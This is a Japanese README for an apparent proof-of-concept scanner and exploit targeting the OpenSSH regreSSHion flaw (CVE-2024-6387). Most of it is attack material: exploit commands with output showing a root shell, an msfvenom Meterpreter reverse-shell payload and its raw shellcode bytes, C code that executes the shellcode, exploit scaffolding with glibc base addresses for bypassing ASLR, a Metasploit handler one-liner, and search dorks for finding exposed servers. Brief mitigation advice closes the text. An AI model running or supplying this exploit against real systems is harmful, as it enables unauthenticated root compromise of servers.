
PoC - OpenSSHサーバーにおけるリモート未認証コード実行の脆弱性(スキャナおよびエクスプロイト)
CVE-2024-6387 - PoC注記: このスクリプトはクイックプロトタイプ版のPoCです。エラーやバグが発生する可能性があります。 テスト済み: Kali Linux、ParrotSec、Ubuntu 22.04
OpenSSHサーバーにおける認証なしリモートコード実行の脆弱性
OpenSSHサーバー(sshd)にシグナルハンドラの競合状態が発見されました。クライアントがLoginGraceTime秒(デフォルトでは120秒、古いOpenSSHバージョンでは600秒)以内に認証しない場合、sshdのSIGALRMハンドラが非同期に呼び出されます。しかし、このシグナルハンドラは、syslog()などasync-signal-safeではないさまざまな関数を呼び出します。
技術的な詳細はこちらをご覧ください。
この欠陥は、Qualysの研究者によってMay 2024に発見され、識別子CVE-2024-6387が割り当てられました。sshdのシグナルハンドラの競合状態に起因するこの欠陥により、認証されていないリモートの攻撃者がrootとして任意のコードを実行できます。
「クライアントがLoginGraceTime秒(デフォルトでは120秒)以内に認証しない場合、sshdのSIGALRMハンドラが非同期に呼び出され、async-signal-safeではないさまざまな関数を呼び出します。」
「リモートの認証されていない攻撃者は、この欠陥を利用してroot権限で任意のコードを実行できます。」
必要条件: 最新のpython3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessパッチ管理: OpenSSHに利用可能なパッチを迅速に適用することは、脆弱性のギャップを埋める上で極めて重要です。タイムリーなパッチ適用により、既知のエクスプロイトがシステムに対して悪用されることを防ぎ、攻撃者の機会の窓を減らします。
アクセス制御の強化: ネットワークベースの制御を通じてSSHアクセスを制限することで、防御の層を追加します。このアプローチは、SSH接続を許可されたネットワークまたはIPアドレスのみに制限することで、潜在的な攻撃者への露出を最小限に抑えます。ファイアウォールルールなどのツールを実装したり、VPNを使用して安全にアクセスすることで、これらの制限を効果的に適用できます。
ネットワークセグメンテーション: ネットワークをセグメントに分割することで、潜在的な侵害の影響を封じ込めることができます。重要なシステムと機密データを、ネットワークの重要度の低い部分から分離することで、攻撃者による横方向の移動のリスクを軽減できます。このセグメント化は、厳格なアクセス制御と監視を組み合わせることで、これらのセグメントへの不正な侵入試行を検出して対応できます。
侵入検知システム(IDS): IDSまたは侵入防止システム(IPS)を導入することで、ネットワークトラフィックとシステムログをリアルタイムに監視できます。これらのシステムは、regreSSHionの脆弱性に関連する不審なアクティビティや潜在的な悪用の試みを検出できます。これらのシステムによってトリガーされるアラートにより、重大な被害が発生する前に迅速な調査と緩和が可能になります。
悪用試行の監視: ネットワークとシステムログの継続的な監視が不可欠です。OpenSSHの脆弱性を悪用しようとする試みを示す可能性のある、異常なパターンやアクティビティを探してください。この積極的なアプローチは、脅威が被害を引き起こす前に、脅威を特定して対応するのに役立ちます。